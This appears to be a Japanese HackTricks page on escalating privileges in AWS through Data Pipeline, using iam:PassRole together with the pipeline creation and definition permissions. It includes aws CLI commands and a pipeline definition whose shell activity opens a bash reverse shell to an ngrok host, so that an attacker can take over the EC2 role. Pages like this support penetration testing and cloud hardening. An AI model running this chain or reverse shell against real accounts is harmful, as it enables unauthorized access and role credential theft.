AWS - Datapipeline Privesc

Reading time: 4 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

datapipeline

datapipelineに関する詳細情報は、以下を確認してください:

AWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

これらの権限を持つユーザーは、Data Pipelineを作成することで権限を昇格させることができます。これは割り当てられたロールの権限を使用して任意のコマンドを実行するためです:

bash
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

パイプラインの作成後、攻撃者は特定のアクションやリソースの作成を指示するためにその定義を更新します:

json
{
"objects": [
{
"id": "CreateDirectory",
"type": "ShellCommandActivity",
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn": { "ref": "instance" }
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id": "instance",
"name": "instance",
"type": "Ec2Resource",
"actionOnTaskFailure": "terminate",
"actionOnResourceFailure": "retryAll",
"maximumRetries": "1",
"instanceType": "t2.micro",
"securityGroups": ["default"],
"role": "assumable_datapipeline",
"resourceRole": "assumable_ec2_profile_instance"
}
]
}

note

14行目、15行目、27行目ロールdatapipeline.amazonaws.comによって引き受け可能なロールである必要があり、28行目のロールはEC2プロファイルインスタンスを持つec2.amazonaws.comによって引き受け可能なロールである必要があります。

さらに、EC2インスタンスはEC2インスタンスによって引き受け可能なロールにのみアクセスできるため(そのロールのみを盗むことができます)。

bash
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
--pipeline-definition file:///pipeline/definition.json

攻撃者によって作成されたパイプライン定義ファイルには、コマンドを実行するか、AWS APIを介してリソースを作成するための指示が含まれており、Data Pipelineのロール権限を利用して追加の特権を得る可能性があります。

潜在的な影響: 指定されたec2サービスロールへの直接的な特権昇格。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする